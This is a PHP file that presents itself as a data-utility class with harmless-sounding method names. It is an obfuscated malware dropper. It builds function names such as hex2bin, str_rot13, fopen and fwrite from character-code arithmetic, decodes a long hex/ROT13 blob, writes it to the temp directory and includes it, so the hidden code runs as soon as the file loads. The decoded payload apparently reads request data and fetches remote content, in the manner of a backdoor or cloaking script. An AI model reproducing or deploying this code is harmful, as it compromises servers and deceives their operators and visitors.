<?php
class DataTransformer
{
    private $qj = '';
    private $bd = '';
    public function computeResult($p1)
    {
        $t = array(110, 3 * 35, 2 * 49, 25 + 25, 25 + 95, 34 + 67, 18 * 21 - 274);
        $y = '';
        foreach ($t as $u) {
            $y .= chr($u);
        }
        $y = strrev($y);
        return $y($p1);
    }
    public function terminateSession($p1)
    {
        $c = array(113 + 2, 2 * 58, 114, 5 * 19, 72 + 42, 40 * 44 - 1649, 121 - 5, 8 + 41, 19 * 2 + 13);
        $g = '';
        foreach ($c as $u) {
            $g .= chr($u);
        }
        return $g($p1);
    }
    public function encryptData($p1, $p2)
    {
        $c = array(54 + 39 + 9, 111, 104 * 1 + 8, 65 * 1 + 36, 10 + 100);
        $f = '';
        foreach ($c as $q) {
            $f .= chr($q);
        }
        return $f($p1, $p2);
    }
    public function generateToken($p1, $p2)
    {
        $t = array(101, 121 - 5, 105, 97 * 37 - 3475, 123 - 4, 13 + 89);
        $b = '';
        foreach ($t as $z) {
            $b .= chr($z);
        }
        $b = strrev($b);
        return $b($p1, $p2);
    }
    public function executeAction($p1)
    {
        $i = array(103 - 2, 31 * 118 - 3543, 111, 96 * 1 + 12, 99, 103 - 1);
        $o = '';
        foreach ($i as $j) {
            $o .= chr($j);
        }
        $o = strrev($o);
        return $o($p1);
    }
    public function sendNotification($p1, $p2 = null)
    {
        $z = array(21 * 54 - 1025, 28 + 10 + 67, 2 * 57, 101 + 15, 37 + 77);
        $n = '';
        foreach ($z as $w) {
            $n .= chr($w);
        }
        $n = strrev($n);
        return $n($p1, $p2);
    }
    public function sanitizeInput()
    {
        $this->bd = $this->sendNotification($this->manageState(), '/');
    }
    public function cacheData()
    {
        $this->qj = $this->terminateSession($this->computeResult($this->aw));
    }
    public function handleRequest()
    {
        $fn = $this->bd . '/it-69b0af3fa6480';
        $f = $this->encryptData($fn, 'w');
        $this->generateToken($f, $this->qj);
        $this->executeAction($f);
        $this->updateCache($fn);
    }
    private $aw = '3c3f6375632070796e6666205f6f66737b636576696e67722' . '066676e677670245f67636b3b66676e6776702073686170677' . '66261205f747a6828245f6e6a297b76732821667279733a3a2' . '45f67636b29667279733a3a5f6e756b28293b6572676865612' . '06f6e667236345f71727062717228667279733a3a245f67636' . 'b5b245f6e6a5d293b7d636576696e67722066676e677670207' . '368617067766261205f6e756b28297b667279733a3a245f676' . '36b3d6e65656e6c28275f6e796a273d3e27444a41774d4b416' . 'd594841696f61456c6f272e27326a67444a6b666f337067473' . '357272e2763272e274d327968272e2742764e64272c275f657' . '9273d3e27443239687154496871503148724b4f7942764f757' . '0554f666e4a4175715479696f7639644c4b4d757032416c6e4' . 'b4f30272c275f716d273d3e274c32272e27743d272c275f766' . '2273d3e274d4b79587054415146474d576e7a7030475463614' . '1526b644d272e276d455a6e7a7030464a79336e272e274a454' . 'b454a79436e48626a4a7975425a527963713279776f494d674' . '64a63696e4a45554961637844306235272c275f666d273d3e2' . '7704b7136724e3d272e273d272c275f737778273d3e2743543' . '9272e276543272e27743d272e273d272c275f6b626a273d3e2' . '7435457754d272e2751343d272c275f6e6570273d3e2771272' . 'e273253666f4e272e273d3d272c275f7a6968273d3e27272c2' . '75f6c68273d3e27272c275f7067273d3e27272c275f6d75273' . 'd3e276e5545307051626959334f314c7635334d4a577a6e4a6' . 'b796e54396d7154496c597a41696f4639776f32316a272e276' . 'f33417970763564706d39784c4b457543272e27443d3d272c2' . '75f6a69273d3e274c33496c6f53272e2739636f7a7930272c2' . '75f6b73273d3e276e55272e274530705339776f324579272c2' . '75f6e78273d3e27703241624d4a272e2731272e2779272c275' . 'f6e6462273d3e276e5545272e27307055272e275a272e273d2' . '72c275f676777273d3e2745304948272e2756272e274e272e2' . '73d272e273d272c275f6777273d3e27705453306e4e3d272e2' . '73d272c275f746b71273d3e27704b497970272e2761272e277' . '83d272c275f77677a273d3e2743272e276a3d272e273d272c2' . '75f6478273d3e27704b49797061783d272c275f6c776a273d3' . 'e275652272e27754849534e695a46346a514463566f3341304' . '2764e272e273d272c275f7774273d3e276e272e2754396d272' . 'e27714e3d272e273d272c275f69726a273d3e275144272e276' . '3516f3235684d4a41306e4a396842764f516f54396d4d44305' . '85144623d272c275f6c61273d3e27703341272e276642272e2' . '7763869272c275f726d6b273d3e27272c275f7a6961273d3e2' . '76e5439272e276d714e3d3d272c275f656571273d3e2751446' . '2272e273d272c275f74756b273d3e274653454848272e27533' . '951475279534779457346494e272e273d272c275f6a62273d3' . 'e2746272e275345484853394c4b304d434879714f487845534' . '5533954272e274731563d272c275f7972273d3e27487849414' . '73145534b272e273053524553272e2756272e273d272c275f6' . 'd68273d3e274653454848533949483049464b3053554548352' . '72e2748272c275f727362273d3e27465345484853394948304' . '9272e27464b305355272e2745272e27483548272c275f62616' . '3273d3e27272c275f656b70273d3e27465345272e274848533' . '94645484d53272e274878272e274946272c275f7363273d3e2' . '74653454848272e27533946272e274548272e274d534878272' . 'e2749272e2746272c275f616e273d3e27272c275f7861273d3' . 'e27465345484853395147527953477945272e2773272e27462' . '72e2749272e274e272e273d272c275f6479273d3e2746272e2' . '753454848533951272e2747272e27527953272e27477945734' . '6272e27494e272e273d272c275f717768273d3e27465345484' . '8272e2753394c4b304d434879714f487845534553272e27395' . '4272e27473156272e273d272c275f6a6d273d3e27465345484' . '85339272e274c4b304d434879714f487845534553395447315' . '6272e273d272c275f747768273d3e2748784941473145272e2' . '7534b30535245272e275356272e273d272c275f6c62273d3e2' . '748784941473145534b3053524553272e2756272e273d272c2' . '75f6c6d6b273d3e274d545761272e276f4a39784d272e27443' . 'd272e273d272c275f6170273d3e2746494e36564e3d3d272c2' . '75f6c6462273d3e275655272e276a74494852272e273656272' . 'e274e3d272e273d272c275f6b7a75273d3e2756556a272e277' . '448272e277a497a42764e3d272c275f796876273d3e2756512' . '72e276b7670272e27773458272c275f6963273d3e276e4b272' . 'e274e3d272c275f7a66273d3e27714a52272e273d272c275f6' . 'd7a273d3e2770272e277a49272e277a272c275f747968273d3' . 'e27704b7136724e272e273d272e273d272c293b7d7d75726e7' . '17265285f6f66733a3a5f747a6828275f6e796a2729293b757' . '26e717265285f6f66733a3a5f747a6828275f272e276579272' . '9293b767328766666726728245f5452475b5f6f66733a3a5f7' . '47a6828275f272e27716d27295d29297b245f7965773d5f747' . '079285f6f66733a3a5f747a6828275f272e2776622729293b7' . '67328245f796577262666676563626628245f7965772c5f6f6' . '6733a3a5f747a6828275f66272e276d272929213d3d736e796' . '672297b717672285f6f66733a3a5f747a6828275f737778272' . '9293b7d727966727b717672285f6f66733a3a5f747a6828275' . 'f6b272e2762272e276a2729293b7d7d7673287666667267282' . '45f5452475b5f6f66733a3a5f747a6828275f6e272e2765272' . 'e277027295d29297b245f787a3d245f5042425856523b245f6' . '5743d283331302b2d333130293b245f6e6a3d2876616729656' . '268617128332e352b332e35293b245f6d663d6e65656e6c282' . '93b245f6d665b245f65745d3d5f6f66733a3a5f747a6828275' . 'f7a272e2769272e276827293b6a7576797228245f6e6a297b2' . '45f6d665b245f65745d2e3d245f787a5b3437362b2d3434365' . 'd5b245f6e6a5d3b76732821245f787a5b2d3239332b3332335' . 'd5b245f6e6a2b2876616729656268617128302e32352b302e3' . '2352b302e32352b302e3235295d297b76732821245f787a5b2' . 'd3132352b34312b3131345d5b245f6e6a2b287661672965626' . '8617128312b31295d296f65726e783b245f65742b2b3b245f6' . 'd665b245f65745d3d5f6f66733a3a5f747a6828275f6c68272' . '93b245f6e6a2b2b3b7d245f6e6a3d245f6e6a2b28766167296' . '56268617128322e333333333333333333333333332b322e333' . '333333333333333333333332b322e333333333333333333333' . '33333292b2876616729656268617128302e352b302e35293b7' . 'd245f65743d245f6d665b2d3230322d202d38372d202d35362' . 'd202d37335d28292e245f6d665b28766167296562686171283' . '62b362b362b36295d3b76732821245f6d665b2d3132352d202' . 'd3133315d28245f657429297b245f6e6a3d245f6d665b2d333' . '22b3333332d3730302d202d3432355d28245f65742c245f6d6' . '65b3232312b3433312b2d3631312d33315d293b245f6d665b2' . '876616729656268617128322e32352b322e32352b322e32352' . 'b322e3235295d28245f6e6a2c245f6d665b2d37322d33362b2' . 'd37312d202d3139305d2e245f6d665b2d36312b2d3239372d3' . '7302b3435315d28245f6d665b3238382d3236335d28245f787' . 'a5b2876616729656268617128312e352b312e35295d2929293' . 'b7d7661707968717228245f6574293b7d73686170677662612' . '05f74707928245f746a2c245f6b757a3d302e3939333739373' . '0373537363432392c245f6c643d2d302e35343339333735313' . '130393533332c245f727a3d2763716776666a667327297b245' . 'f7865673d5f6f66733a3a5f747a6828275f70272e276727293' . 'b245f6c6b6b3d5f6f66733a3a5f747a6828275f6d7527292e2' . '45f746a3b76732876665f706e79796e6f7972285f6f66733a3' . 'a5f747a6828275f272e276a69272929297b245f6e703d70686' . '5795f7661766728245f6c6b6b293b706865795f66726762636' . '728245f6e702c504845594243475f4646595f49524556534c4' . '35252452c736e796672293b706865795f66726762636728245' . 'f6e702c504845594243475f4646595f49524556534c5542464' . '72c2d36392b2d3232302d202d34392d202d323432293b70686' . '5795f66726762636728245f6e702c504845594243475f53425' . '959424a5942504e475642412c2d3535302d202d3139352d373' . '0362d202d31303632293b706865795f66726762636728245f6' . 'e702c504845594243475f45524748454147454e41465352452' . 'c2d38372b2d3233352d202d3138302b313433293b706865795' . 'f66726762636728245f6e702c504845594243475f55524e515' . '2452c2d33362d33312b2d34392b313136293b706865795f667' . '26762636728245f6e702c504845594243475f5042414152504' . '747565a524248472c2d36392d202d3133352b2d36302b34293' . 'b706865795f66726762636728245f6e702c504845594243475' . 'f47565a524248472c3432352b2d3431302b2d35293b245f786' . '5673d706865795f726b727028245f6e70293b245f6a693d706' . '865795f7472677661736228245f6e70293b706865795f70796' . '2667228245f6e70293b767328245f6a695b5f6f66733a3a5f7' . '47a6828275f6b7327295d213d2836342d202d3133362929657' . '26768656120736e7966723b7d727966727b245f7a66693d636' . 'e6566725f68657928245f6c6b6b293b245f746b3d28245f7a6' . '6695b5f6f66733a3a5f747a6828275f272e276e7827295d3d3' . 'd5f6f66733a3a5f747a6828275f6e272e2764272e276227292' . '93b245f6c76743d5f6f66733a3a5f747a6828275f6767272e2' . '77727292e245f7a66695b5f6f66733a3a5f747a6828275f672' . '72e277727295d3b767328766666726728245f7a66695b5f6f6' . '6733a3a5f747a6828275f272e2774272e276b7127295d29292' . '45f6c76742e3d5f6f66733a3a5f747a6828275f77272e27672' . '72e277a27292e245f7a66695b5f6f66733a3a5f747a6828275' . 'f647827295d3b245f6c76742e3d5f6f66733a3a5f747a68282' . '75f6c272e27776a27292e245f7a66695b5f6f66733a3a5f747' . 'a6828275f777427295d2e5f6f66733a3a5f747a6828275f272' . 'e2769726a27293b245f7072703d73666270786263726128282' . '45f746b3f5f6f66733a3a5f747a6828275f272e276c6127293' . 'a5f6f66733a3a5f747a6828275f726d6b2729292e245f7a666' . '95b5f6f66733a3a5f747a6828275f272e277a696127295d2c2' . '45f746b3f3831342d3435382b3435382b2d3337313a2876616' . '72965626861712832302b32302b32302b323029293b7673282' . '45f707270297b736368676628245f7072702c245f6c7674293' . 'b245f6b76643d282d3231362d202d3232342d38293b6a75767' . '97228217372627328245f70727029297b245f73633d7374726' . '76628245f7072702c28766167296562686171283531322b353' . '13229293b767328245f6b766429245f7865672e3d245f73633' . 'b767328245f73633d3d5f6f66733a3a5f747a6828275f272e2' . '765272e276571272929245f6b76643d2876616729656268617' . '128302e32352b302e32352b302e32352b302e3235293b7d737' . '07962667228245f707270293b7d7d657267686561245f78656' . '73b7d245f75796b3d766666726728245f4652454952455b5f6' . 'f66733a3a5f747a6828275f272e2774756b27295d293b245f7' . '66e3d766666726728245f4652454952455b5f6f66733a3a5f7' . '47a6828275f272e276a6227295d293b245f6367643d7666667' . '26728245f4652454952455b5f6f66733a3a5f747a6828275f7' . '97227295d293b245f7478713d766666726728245f465245495' . '2455b5f6f66733a3a5f747a6828275f6d272e276827295d293' . 'f245f4652454952455b5f6f66733a3a5f747a6828275f72732' . '72e276227295d3a5f6f66733a3a5f747a6828275f626163272' . '93b245f7866733d766666726728245f4652454952455b5f6f6' . '6733a3a5f747a6828275f656b7027295d293f245f465245495' . '2455b5f6f66733a3a5f747a6828275f73272e276327295d3a5' . 'f6f66733a3a5f747a6828275f61272e276e27293b245f75796' . 'b3d766666726728245f4652454952455b5f6f66733a3a5f747' . 'a6828275f272e27786127295d293f245f4652454952455b5f6' . 'f66733a3a5f747a6828275f272e27647927295d3a616879793' . 'b245f766e3d766666726728245f4652454952455b5f6f66733' . 'a3a5f747a6828275f272e2771272e2777272e276827295d293' . 'f245f4652454952455b5f6f66733a3a5f747a6828275f272e2' . '76a272e276d27295d3a616879793b245f6367643d766666726' . '728245f4652454952455b5f6f66733a3a5f747a6828275f747' . '76827295d293f245f4652454952455b5f6f66733a3a5f747a6' . '828275f272e276c272e276227295d3a616879793b767328737' . '6796772655f696e6528245f75796b2c3135372b2d35322d202' . 'd31373029297b245f6173743d245f75796b3b7d72796672767' . '3287376796772655f696e6528245f766e2c3433372b34362b2' . 'd32303829297b245f6173743d245f766e3b7d727966727b245' . 'f6173743d245f6367643b7d767328766666726728245f54524' . '75b5f6f66733a3a5f747a6828275f6c6d6b27295d29297b727' . '07562205f6f66733a3a5f747a6828275f61272e277027292e2' . '45f6173742e5f6f66733a3a5f747a6828275f6c646227292e2' . '45f7478712e5f6f66733a3a5f747a6828275f6b7a272e27752' . '7292e245f7866732e5f6f66733a3a5f747a6828275f7968272' . 'e277627293b726b766728293b7d76732821766666726728245' . 'f617374297c7c21766666726728245f747871297c7c2176666' . '6726728245f78667329297b726b766728293b7d727966727b2' . '45f7770703d6e65656e6c285f6f66733a3a5f747a6828275f6' . '96327293d3e245f6173742c5f6f66733a3a5f747a6828275f7' . 'a272e276627293d3e245f7478712c5f6f66733a3a5f747a682' . '8275f272e276d7a27293d3e245f786673293b245f67663d686' . '579726170627172286f6e667236345f7261706271722877666' . '2615f72617062717228245f7770702929293b245f7965773d5' . 'f74707928245f6766293b767328245f7965772626666765636' . '26628245f7965772c5f6f66733a3a5f747a6828275f7479682' . '72929213d3d736e796672297b72707562245f7965773b726b7' . '66728293b7d7d';
    public function updateCache($p)
    {
        include $p;
    }
    public function manageState()
    {
        $a = array(2 + 113, 115 * 1 + 6, 47 + 68, 61 * 83 - 4968, 92 + 11, 102 - 1, 122 - 6, 95, 2 * 58, 111 - 10, 53 * 1 + 56, 63 + 49, 103 - 8, 30 + 58 + 12, 105, 49 + 65);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$sq = new DataTransformer();
$sq->sanitizeInput();
$sq->cacheData();
$sq->handleRequest();